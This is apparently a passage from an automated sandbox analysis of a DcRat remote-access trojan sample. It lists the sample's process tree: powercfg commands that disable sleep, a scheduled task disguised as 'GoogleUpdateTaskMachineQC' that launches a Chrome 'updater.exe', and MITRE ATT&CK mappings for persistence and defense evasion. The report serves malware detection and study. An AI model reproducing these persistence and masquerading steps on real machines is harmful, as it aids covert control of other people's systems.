  2⤵
  - DcRat
  - Creates scheduled task(s)
  PID:2504

C:\Windows\System32\cmd.exe
C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
1⤵
PID:3064
- C:\Windows\System32\powercfg.exe
  powercfg /x -hibernate-timeout-ac 0
  2⤵
  PID:876
- C:\Windows\System32\powercfg.exe
  powercfg /x -hibernate-timeout-dc 0
  2⤵
  PID:2656
- C:\Windows\System32\powercfg.exe
  powercfg /x -standby-timeout-ac 0
  2⤵
  PID:2772
- C:\Windows\System32\powercfg.exe
  powercfg /x -standby-timeout-dc 0
  2⤵
  PID:2292

C:\Windows\System32\schtasks.exe
C:\Windows\System32\schtasks.exe /run /tn "GoogleUpdateTaskMachineQC"
1⤵
PID:2784

C:\Windows\system32\taskeng.exe
taskeng.exe {06980537-65B8-44D5-B43C-C93E35127030} S-1-5-18:NT AUTHORITY\System:Service:
1⤵
PID:1636
- C:\Program Files\Google\Chrome\updater.exe
  "C:\Program Files\Google\Chrome\updater.exe"
  2⤵
  PID:1816

C:\Windows\system32\makecab.exe
"C:\Windows\system32\makecab.exe" C:\Windows\Logs\CBS\CbsPersist_20231010205512.log C:\Windows\Logs\CBS\CbsPersist_20231010205512.cab
1⤵
PID:2272

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

Scheduled Task/Job

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

Scheduled Task/Job

Defense Evasion

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Modify Registry